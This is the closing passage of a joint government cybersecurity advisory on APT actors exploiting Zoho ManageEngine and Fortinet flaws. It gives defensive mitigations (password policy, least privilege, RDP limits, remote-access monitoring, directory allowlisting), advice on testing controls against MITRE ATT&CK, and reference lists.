- **Employ strong password management** alongside other attribute-based information, such as device information, time of access, user history, and geolocation data. Set a password policy to require complex passwords for all users (minimum of 16 characters) and enforce this new requirement as users' passwords expire [CPG 2.A, CPG 2.B, CPG 2.C].
- **Implement the principle of least privilege** to decrease threat actors' abilities to access key network resources.
- **Limit the ability of a local administrator account to log in from a local interactive session** [CPG 2.E] (e.g., "Deny access to this computer from the network") and prevent access via an RDP session.
- **Establish policy and procedure for the prompt removal of unnecessary (disabled) accounts** and groups from the enterprise that are no longer needed, especially privileged accounts. Implement and enforce use of Local Administrator Password Solution (LAPS).
- **Control and limit local administration,** ensuring administrative users do not have access to other systems outside of the local machine and across the domain.
- **Create a change control process** for all privilege escalations and role changes on user accounts. Enable alerts on privilege escalations and role changes, as well as log privileged user changes in the network environment and create alerts for abnormal events.
- **Create and deploy a secure system baseline image to all workstations.** See Microsoft's guidance on Using Security Baselines in Your Organization.
- **Implement policies to block workstation-to-workstation RDP connections** [CPG 2.V] through a Group Policy Object on Windows, or by a similar mechanism. The RDP service should be disabled if it is unnecessary [M1042].

Secure Remote Access Software

Remote access software provides a proactive and flexible approach for organizations to internally oversee networks, computers, and other devices; however, cyber threat actors increasingly co-opt

these tools for access to victim systems. APT actors were observed using legitimate remote access tools—**ConnectWise ScreenConnect** and **AnyDesk**—to connect to victim hosts within the organization's environment and further conduct malicious operations. CISA and co-sealers recommend the following:

- **Establish a software behavior baseline** to detect anomalies in behavior [CPG 2.T, CPG 2.U].
- **Monitor for unauthorized use of remote access software** using endpoint detection tools.

For more information, see CISA's joint Guide to Securing Remote Access Software on best practices for using remote capabilities and how to detect and defend against malicious actors abusing this software.

Other Best Practice Mitigation Recommendations

- **Use application allowlists** on domain controllers, administrative hosts, and other sensitive systems. Following exploitation of the public-facing application (Zoho ManageEngine ServiceDesk Plus), APT actors were able to download and execute multiple files on the system, which were then utilized to enumerate the network and perform reconnaissance operations.
    - **Use directory allowlisting** rather than attempting to list every possible permutation of applications in a network environment. Safe defaults allow applications to run from `PROGRAMFILES`, `PROGRAMFILES(X86)`, and `SYSTEM32`. Disallow all other locations unless an exception is granted and documented. Application directory allowlisting can be enabled through Microsoft Software Restriction Policy or AppLocker and can prevent the execution of unauthorized software.
- **Audit scheduled tasks and validate all findings** via a Group Policy Object (GPO) or endpoint detection and response (EDR) solution.
- Follow Microsoft's Best Practices for Securing Active Directory.
- Review NSA's Network Infrastructure Security Guide.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA and co-sealers recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and co-sealers also recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 3-13).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.

6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and co-sealers recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

- NIST: NVD CVE-2022-47966
- NIST: NVD CVE-2022-42475
- CISA: KEV List
- MITRE ATT&CK for Enterprise v13.1
- CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
- CISA: Decider Tool
- CISA: Cross-Sector Cybersecurity Performance Goals
- CISA: Cyber Hygiene Services
- CISA: Remediate Vulnerabilities for Internet-Accessible Systems
- CISA: Layering Network Security Through Segmentation
- NSA: Segment Networks and Deploy Application-Aware Defenses
- CISA: MFA
- CISA: Implementing Phishing-Resistant MFA
- Microsoft: Using Security Baselines in Your Organization
- CISA: Guide to Securing Remote Access Software
- Microsoft: Best Practices for Securing Active Directory
- NSA: Network Infrastructure Security Guide

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA, the FBI, and CNMF do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or CNMF.

REFERENCES

[1] Snort: Known Malicious User-Agent String – Mirai
[2] MITRE: Mimikatz
[3] MITRE: Ngrok
[4] AA22-320A: Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester
[5] AA22-294A: #StopRansomware: Daixin Team
[6] AA23-075A: #StopRansomware: LockBit 3.0

[7] GitHub: Interactsh
[8] Microsoft: Quser
[9] Internet Engineering Task Force (IETF): RFC 9116

VERSION HISTORY

September 7, 2023: Initial version.